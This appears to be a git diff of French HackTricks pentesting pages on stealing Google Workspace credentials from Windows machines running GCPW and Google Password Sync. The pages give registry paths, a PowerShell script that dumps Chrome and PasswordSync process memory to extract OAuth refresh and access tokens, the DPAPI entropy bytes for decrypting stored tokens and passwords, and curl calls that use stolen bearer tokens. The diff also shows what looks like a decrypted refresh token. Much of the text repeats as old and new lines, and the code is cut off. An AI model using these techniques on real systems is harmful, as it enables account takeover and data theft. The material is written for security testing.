Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=FEQxHRRP_5I), si vous ne trouvez pas le token dans le registre, il est possible de modifier la valeur (ou de supprimer) de **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** et la prochaine fois que l'utilisateur accède à l'ordinateur, il devra se reconnecter et le **token sera stocké dans le registre précédent**.
Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=FEQxHRRP_5I), si vous ne trouvez pas le token dans le registre, il est possible de modifier la valeur (ou de la supprimer) depuis **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** et la prochaine fois que l'utilisateur accède à l'ordinateur, il devra se reconnecter et le **token sera stocké dans le registre précédent**.
### GCPW - Jetons de rafraîchissement de disque
@@ -180,12 +180,12 @@ On peut observer que AESGCM est utilisé, le token chiffré commence par une **v
### GCPW - Dumping des tokens de la mémoire des processus
Le script suivant peut être utilisé pour **dump** chaque processus **Chrome** en utilisant `procdump`, extraire les **chaînes** et ensuite **rechercher** des chaînes liées aux **tokens d'accès et de rafraîchissement**. Si Chrome est connecté à un site Google, certains **processus stockeront des tokens de rafraîchissement et/ou d'accès en mémoire !**
Le script suivant peut être utilisé pour **dump** chaque processus **Chrome** en utilisant `procdump`, extraire les **chaînes** et ensuite **chercher** des chaînes liées aux **tokens d'accès et de rafraîchissement**. Si Chrome est connecté à un site Google, certains **processus stockeront des tokens de rafraîchissement et/ou d'accès en mémoire !**
<details>
<summary>Dump des processus Chrome et recherche de tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -258,13 +258,13 @@ Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>
J'ai essayé la même chose avec `gcpw_extension.exe` mais il n'a trouvé aucun token.
J'ai essayé la même chose avec `gcpw_extension.exe`, mais il n'a trouvé aucun jeton.
Pour une raison quelconque, **certains tokens d'accès extraits ne seront pas valides (bien que certains le soient)**. J'ai essayé le script suivant pour supprimer des caractères un par un afin d'essayer d'obtenir le token valide à partir du dump. Cela ne m'a jamais aidé à en trouver un valide, mais cela pourrait, je suppose :
Pour une raison quelconque, **certains jetons d'accès extraits ne seront pas valides (bien que certains le soient)**. J'ai essayé le script suivant pour supprimer des caractères un par un afin d'essayer d'obtenir le jeton valide à partir du dump. Cela ne m'a jamais aidé à en trouver un valide, mais cela pourrait, je suppose :
<details>
<summary>Vérifier le token d'accès en supprimant des caractères un par un</summary>
<summary>Vérifier le jeton d'accès en supprimant des caractères un par un</summary>
```bash
#!/bin/bash
@@ -461,14 +461,14 @@ https://www.googleapis.com/auth/wallet.chrome
```
</details>
Notez que le plus intéressant est peut-être :
Notez que le plus intéressant est probablement :
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Cependant, j'ai essayé d'utiliser cette portée pour accéder à gmail ou lister des groupes et cela n'a pas fonctionné, donc je ne sais pas à quel point cela est encore utile.
**Obtenir un jeton d'accès avec toutes ces portées**:
**Obtenez un jeton d'accès avec toutes ces portées** :
<details>
@@ -589,7 +589,7 @@ Quelques exemples utilisant certains de ces scopes :
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -758,7 +758,7 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault** est un module complémentaire pour Google Workspace qui fournit des outils pour la conservation des données, la recherche et l'exportation des données de votre organisation stockées dans les services Google Workspace tels que Gmail, Drive, Chat, et plus encore.
**Google Workspace Vault** est un module complémentaire pour Google Workspace qui fournit des outils pour la conservation des données, la recherche et l'exportation des données de votre organisation stockées dans les services Google Workspace comme Gmail, Drive, Chat, et plus encore.
- Un **Matter** dans Google Workspace Vault est un **conteneur** qui organise et regroupe toutes les informations liées à un cas, une enquête ou une affaire légale spécifique. Il sert de hub central pour gérer les **Holds**, **Searches** et **Exports** concernant ce problème particulier.
- Un **Hold** dans Google Workspace Vault est une **action de préservation** appliquée à des utilisateurs ou groupes spécifiques pour **empêcher la suppression ou la modification** de leurs données au sein des services Google Workspace. Les Holds garantissent que les informations pertinentes restent intactes et non modifiées pendant la durée d'une affaire légale ou d'une enquête.

10
src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
View File

@@ -27,7 +27,7 @@ Concernant l'AD, il est possible d'indiquer d'utiliser le **contexte d'applicati
> [!TIP]
> Notez que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) est capable de détecter **GPS**, d'obtenir des informations sur la configuration et **même de déchiffrer le mot de passe et le jeton**.
Dans le fichier **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**, il est possible de trouver une partie de la configuration comme le **`baseDN`** de l'AD configuré et le **`username`** dont les identifiants sont utilisés.
Dans le fichier **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**, il est possible de trouver une partie de la configuration comme le **`baseDN`** de l'AD configuré et le **`nom d'utilisateur`** dont les identifiants sont utilisés.
Dans le registre **`HKLM\Software\Google\Google Apps Password Sync`**, il est possible de trouver le **jeton de rafraîchissement chiffré** et le **mot de passe chiffré** pour l'utilisateur AD (le cas échéant). De plus, si au lieu d'un jeton, des **identifiants SA** sont utilisés, il est également possible de les trouver chiffrés à cette adresse de registre. Les **valeurs** à l'intérieur de ce registre ne sont accessibles que par les **Administrateurs**.
@@ -36,23 +36,23 @@ Le **mot de passe** chiffré (le cas échéant) se trouve dans la clé **`ADPass
Le jeton chiffré (le cas échéant) se trouve dans la clé **`AuthToken`** et est chiffré en utilisant l'API **`CryptProtectData`**. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette **entropie** lors de l'utilisation de **`CryptUnprotectData`** : `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
De plus, il est également encodé en base32hex avec le dictionnaire **`0123456789abcdefghijklmnopqrstv`**.
Les valeurs d'entropie ont été trouvées en utilisant l'outil. Il a été configuré pour surveiller les appels à **`CryptUnprotectData`** et **`CryptProtectData`** et ensuite l'outil a été utilisé pour lancer et surveiller `PasswordSync.exe` qui déchiffrera le mot de passe configuré et le jeton d'authentification au début et l'outil affichera **les valeurs pour l'entropie utilisée** dans les deux cas :
Les valeurs d'entropie ont été trouvées en utilisant l'outil. Il a été configuré pour surveiller les appels à **`CryptUnprotectData`** et **`CryptProtectData`** et ensuite l'outil a été utilisé pour lancer et surveiller `PasswordSync.exe` qui déchiffrera le mot de passe et le jeton d'authentification configurés au début et l'outil affichera **les valeurs pour l'entropie utilisée** dans les deux cas :
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
Notez qu'il est également possible de voir les valeurs **déchiffrées** dans l'entrée ou la sortie des appels à ces API également (au cas où à un moment donné Winpeas cesserait de fonctionner).
Notez qu'il est également possible de voir les **valeurs déchiffrées** dans l'entrée ou la sortie des appels à ces API également (au cas où à un moment donné Winpeas cesserait de fonctionner).
Dans le cas où la synchronisation des mots de passe a été **configurée avec des identifiants SA**, elle sera également stockée dans des clés à l'intérieur du registre **`HKLM\Software\Google\Google Apps Password Sync`**.
### GPS - Dumping des jetons depuis la mémoire
Tout comme avec GCPW, il est possible de dumper la mémoire du processus de `PasswordSync.exe` et des processus `password_sync_service.exe` et vous pourrez trouver des jetons de rafraîchissement et d'accès (s'ils ont déjà été générés).\
Je suppose que vous pourriez également trouver les identifiants AD configurés.
Je suppose que vous pourriez également trouver les identifiants configurés de l'AD.
<details>
<summary>Dump <code>PasswordSync.exe</code> et les processus <code>password_sync_service.exe</code> et rechercher des jetons</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"